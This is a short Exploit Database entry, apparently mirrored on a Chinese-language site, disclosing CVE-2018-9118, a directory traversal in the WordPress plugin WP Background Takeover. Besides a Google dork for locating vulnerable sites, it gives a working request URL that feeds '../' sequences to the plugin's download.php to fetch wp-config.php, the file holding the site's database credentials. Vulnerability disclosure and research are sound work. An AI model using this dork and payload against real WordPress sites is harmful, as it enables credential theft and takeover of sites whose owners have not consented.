WordPress Plugin Background Takeover < 4.1.4 - Directory Traversal

• Exploit Database
• 172 阅读

• 作者： Colette Chamberland
  日期： 2018-04-09
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/44417/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16

  # Exploit Title: WP Background Takeover, Directory Traversal <= 4.1.4 # Google Dork: inurl:/plugins/wpsite-background-takeover # Date: 2018-03-08 # Exploit Author: Colette Chamberland, Defiant, Inc. # Vendor Homepage: https://99robots.com # Software Link: https://99robots.com/products/wp-background-takeover-advertisements/ # Version: <= 4.1.4 # Tested on: WordPress 4.9.x # CVE : CVE-2018-9118   Description   Allows for an attacker to browse files via the download.php file:   http://target[.]com/wp-content/plugins/wpsite-background-takeover/exports/download.php?filename=../../../../wp-config.php